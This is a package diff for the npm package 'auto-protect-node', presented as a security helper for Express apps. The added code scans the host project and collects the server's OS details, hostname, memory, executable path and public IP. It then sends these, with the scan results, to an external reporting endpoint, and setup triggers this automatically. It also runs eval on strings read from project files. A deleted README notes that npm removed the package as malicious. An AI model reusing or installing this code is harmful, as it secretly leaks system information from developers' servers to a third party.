}else if(!containsMySQLCode ||!containsSequelizeCode){
|
752
|
+
results.push({Mysql_And_Contain_Sequalize_Dependency_Found:`No`});
|
753
|
+
}
|
754
|
+
}
|
755
|
+
}
|
756
|
+
}
|
757
|
+
|
758
|
+
return results;
|
759
|
+
}
|
760
|
+
async function scanDirectoryForRedirectVulnerability(directoryPath) {
|
761
|
+
const results = [];
|
762
|
+
const files = fs.readdirSync(directoryPath);
|
763
|
+
for (const file of files) {
|
764
|
+
const filePath = path.join(directoryPath, file);
|
765
|
+
if (filePath === __filename) {
|
766
|
+
continue; // Ignore the current file
|
767
|
+
}
|
768
|
+
const stats = fs.statSync(filePath);
|
769
|
+
if (stats.isDirectory()) {
|
770
|
+
if (
|
771
|
+
file === "node_modules"
|
772
|
+
) {
|
773
|
+
continue; // ignore specific directories and the current file
|
774
|
+
}
|
775
|
+
const subResults = await scanDirectoryForRedirectVulnerability(filePath); // Recursively scan subdirectory
|
776
|
+
results.push(...subResults);
|
777
|
+
} else {
|
778
|
+
if (path.extname(file) === ".js") {
|
779
|
+
// Search only in JavaScript files
|
780
|
+
var content = fs.readFileSync(filePath, "utf8");
|
781
|
+
|
782
|
+
|
783
|
+
const matches = content.match(/\.redirect\s*\(([^)]+)\)/g);
|
784
|
+
if (matches && Array.isArray(matches)) {
|
785
|
+
for (const match of matches) {
|
786
|
+
const dataMatch = match.match(/\(([^)]+)\)/);
|
787
|
+
if (dataMatch && dataMatch[1]) {
|
788
|
+
const data = dataMatch[1];
|
789
|
+
// Check if third-party URLs are used in the redirection
|
790
|
+
const thirdPartyURLs = data.match(/(?:https?:\/\/)?([^\s\/]+)/g);
|
791
|
+
if (thirdPartyURLs && thirdPartyURLs.length > 0) {
|
792
|
+
for (const url of thirdPartyURLs) {
|
793
|
+
if (url.includes("http") || url.includes("https")) {
|
794
|
+
results.push(
|
795
|
+
`Found a third-party URL: ${url} ans file ${filePath}`
|
796
|
+
);
|
797
|
+
// Perform further actions or checks as needed
|
798
|
+
}
|
799
|
+
}
|
800
|
+
}
|
801
|
+
}
|
802
|
+
}
|
803
|
+
}
|
804
|
+
}
|
805
|
+
}
|
806
|
+
}
|
807
|
+
return results;
|
808
|
+
}
|
809
|
+
//The application is vulnerable to a URL redirection flaw
|
810
|
+
|
811
|
+
// Get All Data related Express-session
|
812
|
+
async function scanFileForSession(filePath) {
|
813
|
+
if (filePath === __filename) {
|
814
|
+
return null; // ignore the current file
|
815
|
+
}
|
816
|
+
var content = await fs.promises.readFile(filePath, "utf8");
|
817
|
+
content = content.toLowerCase();
|
818
|
+
const cookieRegex = /cookie:\s*{\s*[\s\S]*?\s*}/;
|
819
|
+
const match = content.match(cookieRegex);
|
820
|
+
if (match) {
|
821
|
+
const sessionConfig = match[0].trim();
|
822
|
+
return { sessionConfig, filePath };
|
823
|
+
} else {
|
824
|
+
return null;
|
825
|
+
}
|
826
|
+
}
|
827
|
+
// An adversary can hijack user sessions by session fixation
|
828
|
+
async function scanSessionFixation(filePath) {
|
829
|
+
if (filePath === __filename) {
|
830
|
+
return null; // ignore the current file
|
831
|
+
}
|
832
|
+
var content = await fs.promises.readFile(filePath, "utf8");
|
833
|
+
content = content.toLowerCase();
|
834
|
+
const sessionIdRegeneration = content.includes(".session.regenerate");
|
835
|
+
// An adversary can hijack user sessions by session fixation
|
836
|
+
if (sessionIdRegeneration) {
|
837
|
+
return `Regularly regenerating session IDs to prevent session fixation attack is not possible because session regeneration is used in this file: ${filePath}\nApplication is not vulnerable to session hijacking attack`;
|
838
|
+
} else {
|
839
|
+
return null;
|
840
|
+
}
|
841
|
+
}
|
842
|
+
// scan root directory
|
843
|
+
async function scanSessionDirectory(directoryPath) {
|
844
|
+
const results = [];
|
845
|
+
const files = await fs.promises.readdir(directoryPath);
|
846
|
+
for (const file of files) {
|
847
|
+
if (file === __filename) {
|
848
|
+
continue; // ignore the current file
|
849
|
+
}
|
850
|
+
const filePath = path.join(directoryPath, file);
|
851
|
+
const stats = await fs.promises.stat(filePath);
|
852
|
+
if (stats.isDirectory()) {
|
853
|
+
if (
|
854
|
+
file === "node_modules"
|
855
|
+
) {
|
856
|
+
continue; // ignore specific directories and the current file
|
857
|
+
}
|
858
|
+
const subResults = await scanSessionDirectory(filePath);
|
859
|
+
results.push(...subResults);
|
860
|
+
} else if (stats.isFile() && path.extname(file) === ".js") {
|
861
|
+
// Get All Data related Express-session
|
862
|
+
const sessionResult = await scanFileForSession(filePath);
|
863
|
+
// An adversary can hijack user sessions by session fixation
|
864
|
+
const sessionFixation = await scanSessionFixation(filePath);
|
865
|
+
// Session token being passed in other areas apart from cookie
|
866
|
+
if (sessionResult) {
|
867
|
+
results.push({ sessionResult });
|
868
|
+
}
|
869
|
+
// An adversary can hijack user sessions by session fixation
|
870
|
+
if (sessionFixation) {
|
871
|
+
results.push({ sessionFixation });
|
872
|
+
}
|
873
|
+
}
|
874
|
+
}
|
875
|
+
return results;
|
876
|
+
}
|
877
|
+
// Application database stores password in plain text or not
|
878
|
+
async function ScanPasswordHashing(directoryPath) {
|
879
|
+
var passwordkeys=await passwordAndUsernamekeyCall(`${baseUrl}/passwordkeys`);
|
880
|
+
passwordkeys=passwordkeys.passwordkeys
|
881
|
+
const results = [];
|
882
|
+
const files = fs.readdirSync(directoryPath);
|
883
|
+
for (const file of files) {
|
884
|
+
const filePath = path.join(directoryPath, file);
|
885
|
+
if (filePath === __filename) {
|
886
|
+
continue; // ignore node_modules directory and current file
|
887
|
+
}
|
888
|
+
const stats = fs.statSync(filePath);
|
889
|
+
if (stats.isDirectory()) {
|
890
|
+
if (file === "node_modules") {
|
891
|
+
continue; // ignore node_modules directory and current file
|
892
|
+
}
|
893
|
+
|
894
|
+
const subResults = await ScanPasswordHashing(filePath, passwordkeys); // recursively scan subdirectory
|
895
|
+
results.push(...subResults);
|
896
|
+
} else {
|
897
|
+
if (path.extname(file) === ".js") {
|
898
|
+
// search only in JavaScript files
|
899
|
+
var content = fs.readFileSync(filePath, "utf8");
|
900
|
+
content = content.toLowerCase();
|
901
|
+
const lines = content.split(/\r?\n/);
|
902
|
+
let lineNumber = 0;
|
903
|
+
for (const passwordKey of passwordkeys) {
|
904
|
+
let foundPasswordKey = false;
|
905
|
+
for (const line of lines) {
|
906
|
+
lineNumber++;
|
907
|
+
if (line.includes(passwordKey)) {
|
908
|
+
foundPasswordKey = true;
|
909
|
+
break;
|
910
|
+
}
|
911
|
+
}
|
912
|
+
if (foundPasswordKey) {
|
913
|
+
const bcryptRegex = /\bbcrypt\./;
|
914
|
+
const argon2Regex = /\bargon2\./;
|
915
|
+
const scryptRegex = /\bscrypt\./;
|
916
|
+
const sha256Regex = /\bsha256\s*\(/;
|
917
|
+
const cryptoJsRegex = /\bcryptojs\./;
|
918
|
+
const cryptoRegex = /\bcrypto\./;
|
919
|
+
let hashingMethod = "";
|
920
|
+
if (bcryptRegex.test(content)) {
|
921
|
+
hashingMethod = "bcrypt";
|
922
|
+
} else if (argon2Regex.test(content)) {
|
923
|
+
hashingMethod = "argon2";
|
924
|
+
} else if (scryptRegex.test(content)) {
|
925
|
+
hashingMethod = "scrypt";
|
926
|
+
} else if (sha256Regex.test(content)) {
|
927
|
+
hashingMethod = "sha256";
|
928
|
+
} else if (cryptoJsRegex.test(content)) {
|
929
|
+
hashingMethod = "crypto-js";
|
930
|
+
} else if (cryptoRegex.test(content)) {
|
931
|
+
hashingMethod = "crypto";
|
932
|
+
}
|
933
|
+
if (hashingMethod) {
|
934
|
+
const passwordweakOrNot = weakAlgorithms.includes(hashingMethod)
|
935
|
+
? "weak"
|
936
|
+
: "not weak";
|
937
|
+
// Application database stores password in plain text
|
938
|
+
results.push(
|
939
|
+
`Found ${hashingMethod} password hashing method on ${filePath} at line ${lineNumber}password is ${passwordweakOrNot}`
|
940
|
+
);
|
941
|
+
} else {
|
942
|
+
// Application database not stores password in plain text
|
943
|
+
results.push(
|
944
|
+
`Found a File: ${filePath} without password hashing at line ${lineNumber}`
|
945
|
+
);
|
946
|
+
}
|
947
|
+
}
|
948
|
+
}
|
949
|
+
}
|
950
|
+
}
|
951
|
+
}
|
952
|
+
|
953
|
+
return results;
|
954
|
+
}
|
955
|
+
// OPTIONS method
|
956
|
+
async function scanDirectoryOptionMethod(routes) {
|
957
|
+
const results = [];
|
958
|
+
return new Promise((resolve, reject) => {
|
959
|
+
try {
|
960
|
+
routes.forEach((item) => {
|
961
|
+
if (item.methods.includes("OPTIONS")) {
|
962
|
+
results.push(`The path '${item.path}' uses the OPTIONS method`);
|
963
|
+
}
|
964
|
+
});
|
965
|
+
if (results.length > 0) {
|
966
|
+
resolve(results); // OPTIONS method enabled
|
967
|
+
} else {
|
968
|
+
resolve(null); // OPTIONS method disabled
|
969
|
+
}
|
970
|
+
} catch (error) {
|
971
|
+
reject(error);
|
972
|
+
}
|
973
|
+
});
|
974
|
+
}
|
975
|
+
// application_accepts_arbitrary_methods
|
976
|
+
async function ScanDangerousMethods(routes) {
|
977
|
+
const results = [];
|
978
|
+
const dangerousMethods = ["DELETE", "PUT", "PATCH"];
|
979
|
+
return new Promise((resolve, reject) => {
|
980
|
+
try {
|
981
|
+
routes.forEach((item) => {
|
982
|
+
const hasDangerousMethod = dangerousMethods.some((method) =>
|
983
|
+
item.methods.includes(method)
|
984
|
+
);
|
985
|
+
if (hasDangerousMethod) {
|
986
|
+
const dangerousMethod = item.methods.find((method) =>
|
987
|
+
dangerousMethods.includes(method)
|
988
|
+
);
|
989
|
+
results.push(
|
990
|
+
`The path '${item.path}' uses the '${dangerousMethod}' method`
|
991
|
+
);
|
992
|
+
}
|
993
|
+
});
|
994
|
+
if (results.length > 0) {
|
995
|
+
resolve(results); //application_accepts_arbitrary_methods
|
996
|
+
} else {
|
997
|
+
resolve(null); //application_ not_accepts_arbitrary_methods
|
998
|
+
}
|
999
|
+
} catch (error) {
|
1000
|
+
reject(error);
|
1001
|
+
}
|
1002
|
+
});
|
1003
|
+
}
|
1004
|
+
const CheckAdminAcess = (app) => {
|
1005
|
+
return new Promise((resolve, reject) => {
|
1006
|
+
fs.readdir(rootDirectory, (err, files) => {
|
1007
|
+
if (err) {
|
1008
|
+
console.error(
|
1009
|
+
"An error occurred while scanning the root directory:",
|
1010
|
+
err
|
1011
|
+
);
|
1012
|
+
reject(err);
|
1013
|
+
return;
|
1014
|
+
}
|
1015
|
+
|
1016
|
+
// Find admin-related folders
|
1017
|
+
const adminFolders = files.filter((file) => {
|
1018
|
+
const folderPath = path.join(rootDirectory, file);
|
1019
|
+
return (
|
1020
|
+
fs.statSync(folderPath).isDirectory() && adminFolderPattern.test(file)
|
1021
|
+
);
|
1022
|
+
});
|
1023
|
+
|
1024
|
+
if (adminFolders.length > 0) {
|
1025
|
+
const promises = adminFolders.map((folder) => {
|
1026
|
+
return new Promise((resolve, reject) => {
|
1027
|
+
fs.access(folder, fs.constants.F_OK, (err) => {
|
1028
|
+
if (err) {
|
1029
|
+
resolve("Admin folder does not exist.");
|
1030
|
+
} else {
|
1031
|
+
// Check if the admin folder is publicly accessible
|
1032
|
+
fs.access(folder, fs.constants.R_OK, (err) => {
|
1033
|
+
if (err) {
|
1034
|
+
resolve(
|
1035
|
+
"Admin folder is private and not publicly accessible."
|
1036
|
+
);
|
1037
|
+
} else {
|
1038
|
+
resolve("Admin folder is publicly accessible.");
|
1039
|
+
}
|
1040
|
+
});
|
1041
|
+
}
|
1042
|
+
});
|
1043
|
+
});
|
1044
|
+
});
|
1045
|
+
Promise.all(promises)
|
1046
|
+
.then((results) => {
|
1047
|
+
resolve(results);
|
1048
|
+
})
|
1049
|
+
.catch((error) => {
|
1050
|
+
reject(error);
|
1051
|
+
});
|
1052
|
+
} else {
|
1053
|
+
resolve("No admin-related folders found in the root directory.");
|
1054
|
+
}
|
1055
|
+
});
|
1056
|
+
});
|
1057
|
+
};
|
1058
|
+
//
|
1059
|
+
async function GetAllData(req) {
|
1060
|
+
const app=req.app, server=req.server,hostname=req.domain
|
1061
|
+
const data = [];
|
1062
|
+
data.push({ hostname });
|
1063
|
+
var serverTimeout;
|
1064
|
+
if (server.timeout === 0) {
|
1065
|
+
serverTimeout =
|
1066
|
+
"Max server TimeOut is Not set Please set because it is infinite ";
|
1067
|
+
} else {
|
1068
|
+
serverTimeout = "Max server TimeOut is " + server.timeout;
|
1069
|
+
}
|
1070
|
+
var routes = getEndpoints(app);
|
1071
|
+
let defaultWebpage = routes.filter((val) => {
|
1072
|
+
return val.path === "/";
|
1073
|
+
});
|
1074
|
+
if (defaultWebpage.length > 0) {
|
1075
|
+
data.push({ Default_web_page_present_in_the_server: "Available" });
|
1076
|
+
} else {
|
1077
|
+
data.push({ Default_web_page_present_in_the_server: "Not Avaialble" });
|
1078
|
+
}
|
1079
|
+
data.push({ test_for_limits_put_on_the_functions_usage: serverTimeout });
|
1080
|
+
const sessionMiddleware = app._router.stack.find(
|
1081
|
+
(middleware) => middleware.handle.name === "session"
|
1082
|
+
);
|
1083
|
+
const jsonwebtokenInUse = await scanFileForJwtVerify(rootDirectory);
|
1084
|
+
const SqlinUse = await scanFileForSql(rootDirectory);
|
1085
|
+
|
1086
|
+
return new Promise((resolve, reject) => {
|
1087
|
+
const RedirectVulnerability = scanDirectoryForRedirectVulnerability(
|
1088
|
+
rootDirectory
|
1089
|
+
)
|
1090
|
+
.then((vulnerabilities) => {
|
1091
|
+
if (vulnerabilities.length > 0) {
|
1092
|
+
data.push({
|
1093
|
+
Redirect_Vulnerability_present_in_the_server:
|
1094
|
+
"Available" + vulnerabilities,
|
1095
|
+
});
|
1096
|
+
} else {
|
1097
|
+
data.push({
|
1098
|
+
Redirect_Vulnerability_present_in_the_server: "Not Available",
|
1099
|
+
});
|
1100
|
+
}
|
1101
|
+
})
|
1102
|
+
.catch((error) => {
|
1103
|
+
console.error("Error:", error);
|
1104
|
+
});
|
1105
|
+
// Management interface is not restricted for specific IPs
|
1106
|
+
const adminAccessPromise = CheckAdminAcess(app)
|
1107
|
+
.then((results) => {
|
1108
|
+
data.push({
|
1109
|
+
management_interface_is_not_restricted_for_specific_ips:
|
1110
|
+
results.toString(),
|
1111
|
+
});
|
1112
|
+
})
|
1113
|
+
.catch((error) => {
|
1114
|
+
console.error(error);
|
1115
|
+
});
|
1116
|
+
const sessionDirectoryPromise = scanSessionDirectory(rootDirectory, app)
|
1117
|
+
.then((results) => {
|
1118
|
+
if (results.length > 0) {
|
1119
|
+
const sevenDays = 86400000 * 7;
|
1120
|
+
const oneMinute = 60000;
|
1121
|
+
if (sessionMiddleware) {
|
1122
|
+
data.push({ session: "session found" });
|
1123
|
+
for (const r of results) {
|
1124
|
+
if (r.sessionResult) {
|
1125
|
+
const cookieString = r.sessionResult.sessionConfig.replace(
|
1126
|
+
"cookie:",
|
1127
|
+
""
|
1128
|
+
);
|
1129
|
+
const cookieObject = eval(`(${cookieString})`);
|
1130
|
+
const isSecureTransmission = cookieObject.secure;
|
1131
|
+
data.push({
|
1132
|
+
isSecureTransmission: `Ensuring session IDs are securely transmitted over encrypted channels (HTTPS): ${isSecureTransmission}`,
|
1133
|
+
});
|
1134
|
+
if (
|
1135
|
+
cookieObject["maxage"] === false ||
|
1136
|
+
cookieObject["expires"] === false
|
1137
|
+
) {
|
1138
|
+
data.push({
|
1139
|
+
sessionTime:
|
1140
|
+
"Session does not expire on closing the browser",
|
1141
|
+
});
|
1142
|
+
} else if (
|
1143
|
+
cookieObject["maxage"] === null ||
|
1144
|
+
cookieObject["expires"] === null
|
1145
|
+
) {
|
1146
|
+
data.push({ Session_Time: "Infinite" });
|
1147
|
+
} else if (
|
1148
|
+
cookieObject["maxage"] > sevenDays ||
|
1149
|
+
cookieObject["expires"] > sevenDays
|
1150
|
+
) {
|
1151
|
+
data.push({ Session_time_out: "High" });
|
1152
|
+
} else if (
|
1153
|
+
cookieObject["maxage"] < oneMinute ||
|
1154
|
+
cookieObject["expires"] < oneMinute
|
1155
|
+
) {
|
1156
|
+
data.push({ Session_time_out: "Low" });
|
1157
|
+
} else {
|
1158
|
+
data.push({ Session_time_out: "Normal" });
|
1159
|
+
}
|
1160
|
+
}
|
1161
|
+
// An adversary can hijack user sessions by session fixation
|
1162
|
+
if (r.sessionFixation) {
|
1163
|
+
data.push({ session_fixation: r.sessionFixation });
|
1164
|
+
}
|
1165
|
+
}
|
1166
|
+
} else if (!sessionMiddleware) {
|
1167
|
+
data.push({ session: "session not found" });
|
1168
|
+
}
|
1169
|
+
|
1170
|
+
// Session token being passed in other areas apart from cookie
|
1171
|
+
if (jsonwebtokenInUse.length > 0) {
|
1172
|
+
data.push({
|
1173
|
+
can_session_puzzling_be_used_to_bypass_authentication_or_authorization:
|
1174
|
+
"Yes,So Please Secure Your AccessToken",
|
1175
|
+
});
|
1176
|
+
} else if (jsonwebtokenInUse.length === 0) {
|
1177
|
+
data.push({
|
1178
|
+
session_token_being_passed_in_other_areas_apart_from_cookie: "No",
|
1179
|
+
});
|
1180
|
+
}
|
1181
|
+
// Sql in Use
|
1182
|
+
if (SqlinUse.length > 0) {
|
1183
|
+
data.push(SqlinUse[0]);
|
1184
|
+
} else if (SqlinUse.length === 0) {
|
1185
|
+
data.push({
|
1186
|
+
SqlDatabaseIsNotuse: "SqlDatabase Is Not use",
|
1187
|
+
});
|
1188
|
+
}
|
1189
|
+
}
|
1190
|
+
})
|
1191
|
+
.catch((error) => {
|
1192
|
+
console.error("An error occurred during directory scanning:", error);
|
1193
|
+
});
|
1194
|
+
|
1195
|
+
// Application database not stores password in plain text
|
1196
|
+
const passwordHashingPromise = ScanPasswordHashing(rootDirectory, app)
|
1197
|
+
.then((results) => {
|
1198
|
+
if (results.length > 0) {
|
1199
|
+
const finalString = results.join("\r\n");
|
1200
|
+
data.push({ ScanPasswordHashing: finalString });
|
1201
|
+
return finalString;
|
1202
|
+
} else {
|
1203
|
+
data.push(
|
1204
|
+
"Not found any file where register and login methods are available"
|
1205
|
+
);
|
1206
|
+
}
|
1207
|
+
})
|
1208
|
+
.catch((error) => {
|
1209
|
+
console.error("An error occurred during directory scanning:", error);
|
1210
|
+
return "An error occurred during directory scanning";
|
1211
|
+
});
|
1212
|
+
// OPTIONS method
|
1213
|
+
const directoryOptionMethodPromise = scanDirectoryOptionMethod(routes)
|
1214
|
+
.then((results) => {
|
1215
|
+
if (!results) {
|
1216
|
+
data.push({ options_method_enable: "No Options Method Find" }); // OPTIONS method disabled
|
1217
|
+
} else if (results.length > 0) {
|
1218
|
+
data.push({ options_method_enable: results }); // OPTIONS method enabled
|
1219
|
+
}
|
1220
|
+
})
|
1221
|
+
.catch((error) => {
|
1222
|
+
console.error("An error occurred during directory scanning:", error);
|
1223
|
+
return "An error occurred during directory scanning";
|
1224
|
+
});
|
1225
|
+
// application_accepts_arbitrary_methods
|
1226
|
+
const dangerousMethodsPromise = ScanDangerousMethods(routes)
|
1227
|
+
.then((results) => {
|
1228
|
+
if (results === null) {
|
1229
|
+
data.push({
|
1230
|
+
application_accepts_arbitrary_methods:
|
1231
|
+
"Dangerous methods not found",
|
1232
|
+
}); //application not _accepts_arbitrary_methods
|
1233
|
+
} else if (results.length > 0) {
|
1234
|
+
const dangerousMethodsFinalString = results.join("\r\n");
|
1235
|
+
data.push({
|
1236
|
+
application_accepts_arbitrary_methods: dangerousMethodsFinalString,
|
1237
|
+
}); // application_accepts_arbitrary_methods
|
1238
|
+
}
|
1239
|
+
})
|
1240
|
+
.catch((error) => {
|
1241
|
+
console.error("An error occurred during directory scanning:", error);
|
1242
|
+
return "An error occurred during directory scanning";
|
1243
|
+
});
|
1244
|
+
Promise.all([
|
1245
|
+
adminAccessPromise,
|
1246
|
+
sessionDirectoryPromise,
|
1247
|
+
passwordHashingPromise,
|
1248
|
+
directoryOptionMethodPromise,
|
1249
|
+
dangerousMethodsPromise,
|
1250
|
+
RedirectVulnerability,
|
1251
|
+
])
|
1252
|
+
.then(async() => {
|
1253
|
+
resolve(data);
|
1254
|
+
})
|
1255
|
+
.catch((error) => {
|
1256
|
+
reject("An error occurred during promise execution:");
|
1257
|
+
console.error("An error occurred during promise execution:", error);
|
1258
|
+
});
|
1259
|
+
});
|
1260
|
+
}
|
1261
|
+
// end GetAllData
|
1262
|
+
// controllers
|
1263
|
+
const combinedController = async (req, res) => {
|
1264
|
+
if (req.alloweddomain.allowed) {
|
1265
|
+
let result1, result2;
|
1266
|
+
try {
|
1267
|
+
const params=req.query || req.params
|
1268
|
+
result1 = await GetAllData(req);
|
1269
|
+
result2 = await sendServerInfo(req);
|
1270
|
+
const combinedData = {
|
1271
|
+
result1: result1,
|
1272
|
+
result2: result2
|
1273
|
+
};
|
1274
|
+
console.log({combinedData})
|
1275
|
+
|
1276
|
+
const response = await useCustomFetch(`${baseUrl}/sitereport?data=${JSON.stringify(combinedData)}&hostname=${req.domain}¶ms=${params}`);
|
1277
|
+
console.log(response.data);
|
1278
|
+
return res.status(200).json(response.data);
|
1279
|
+
} catch (error) {
|
1280
|
+
console.error(error);
|
1281
|
+
return res.status(500).json({ error: "Internal Server Error" });
|
1282
|
+
}
|
1283
|
+
} else {
|
1284
|
+
return res.status(404).json("Your domain is not authenticated");
|
1285
|
+
}
|
1286
|
+
};
|
1287
|
+
// serverinfo
|
1288
|
+
const sendServerInfo=async(req)=>{
|
1289
|
+
return new Promise(async(resolve,reject)=>{
|
1290
|
+
try {
|
1291
|
+
const server=req.server
|
1292
|
+
const hostname=req.domain
|
1293
|
+
const origin = req.headers.origin;
|
1294
|
+
const Allow_Access_control_origin= origin && res.get("Access-Control-Allow-Origin") === "*"?"Access-Control-Allow-Origin is Set to *":"Access-Control-Allow-Origin is not Set to *"
|
1295
|
+
let version=process.version
|
1296
|
+
version = version. replace(/^./, "")
|
1297
|
+
let responseserver= await useCustomFetch('http://ip-api.com/json/');
|
1298
|
+
responseserver=responseserver.data
|
1299
|
+
const information ={node_version:process.version,serverport:server.address().port,Allow_Access_control_origin, osVersion: os.version(), platform: os.platform(), totalmem:os.totalmem(), freemem:os.freemem(), type:os.type(), servername: os.hostname(), hostname:os.hostname(),nodeenvronment:process.execPath,version,...responseserver }
|
1300
|
+
resolve({hostname,information});
|
1301
|
+
} catch (error) {
|
1302
|
+
reject(error)
|
1303
|
+
}
|
1304
|
+
})
|
1305
|
+
|
1306
|
+
}
|
1307
|
+
|
1308
|
+
const dependencyChecker = (res) => {
|
1309
|
+
const command = 'npm audit';
|
1310
|
+
const childProcess = exec(command);
|
1311
|
+
childProcess.stdout.on('data', (data) => {
|
1312
|
+
// console.log({ data });
|
1313
|
+
|
1314
|
+
});
|
1315
|
+
childProcess.stderr.on('data', (err) => {
|
1316
|
+
// console.log({ err });
|
1317
|
+
|
1318
|
+
});
|
1319
|
+
childProcess.on('close', (code) => {
|
1320
|
+
if (code === 0) {
|
1321
|
+
// console.log('Process Complete\n');
|
1322
|
+
|
1323
|
+
} else {
|
1324
|
+
// console.log(`Error. Exit code: ${code}\n`);
|
1325
|
+
|
1326
|
+
}
|
1327
|
+
});
|
1328
|
+
};
|
1329
|
+
|
1330
|
+
const HostValidator = (app, server,sid) => {
|
1331
|
+
return async (req, res, next) => {
|
1332
|
+
const allowedDomain = await Ialloweddomain(sid);
|
1333
|
+
req.app = app;
|
1334
|
+
req.server = server;
|
1335
|
+
req.domain = sid;
|
1336
|
+
req.alloweddomain = allowedDomain;
|
1337
|
+
next();
|
1338
|
+
};
|
1339
|
+
};
|
1340
|
+
const callData=async(app)=>{
|
1341
|
+
const request = require('supertest');
|
1342
|
+
const site_response = await request(app).get('/sitereport?id=1&id=3');
|
1343
|
+
|
1344
|
+
}
|
1345
|
+
const Ialloweddomain=async(hostname)=>{
|
1346
|
+
try {
|
1347
|
+
const response=await useCustomFetch(`${baseUrl}/alloweddomains?hostname=${hostname}`)
|
1348
|
+
|
1349
|
+
// console.log(response.status)
|
1350
|
+
if(response.status===200){
|
1351
|
+
return {allowed:true}
|
1352
|
+
}else if(response.status===404){
|
1353
|
+
return {allowed:false}
|
1354
|
+
}
|
1355
|
+
return response.status
|
1356
|
+
} catch (error) {
|
1357
|
+
if(error){
|
1358
|
+
return {allowed:false}
|
1359
|
+
}
|
1360
|
+
}
|
1361
|
+
|
1362
|
+
}
|
1363
|
+
// Call Middleware For Secure Your Application
|
1364
|
+
exports.AutoProtect=(app,server,sid) => {
|
1365
|
+
try {
|
1366
|
+
app.use(helmet())
|
1367
|
+
app.use(HostValidator(app, server, sid));
|
1368
|
+
app.use(Middleware);
|
1369
|
+
app.get("/sitereport", combinedController);
|
1370
|
+
console.log("Process Start Please wait")
|
1371
|
+
callData(app)
|
1372
|
+
|
1373
|
+
} catch (error) {
|
1374
|
+
console.log(error)
|
1375
|
+
}
|
1376
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,26 @@
|
|
1
|
-
{
|
2
|
-
"name": "auto-protect-node",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "auto-protect-node",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "auto protect your code",
|
5
|
+
"main": "app.js",
|
6
|
+
"scripts": {
|
7
|
+
"dev": "nodemon app.js"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/shivam-handsintechnology/auto-protect-node.git"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"security"
|
15
|
+
],
|
16
|
+
"author": "handsintechnology",
|
17
|
+
"license": "ISC",
|
18
|
+
"bugs": {
|
19
|
+
"url": "https://github.com/shivam-handsintechnology/auto-protect-node/issues"
|
20
|
+
},
|
21
|
+
"homepage": "https://github.com/shivam-handsintechnology/auto-protect-node#readme",
|
22
|
+
"dependencies": {
|
23
|
+
"helmet": "^7.0.0",
|
24
|
+
"supertest": "^6.3.3"
|
25
|
+
}
|
26
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=auto-protect-node for more information.
|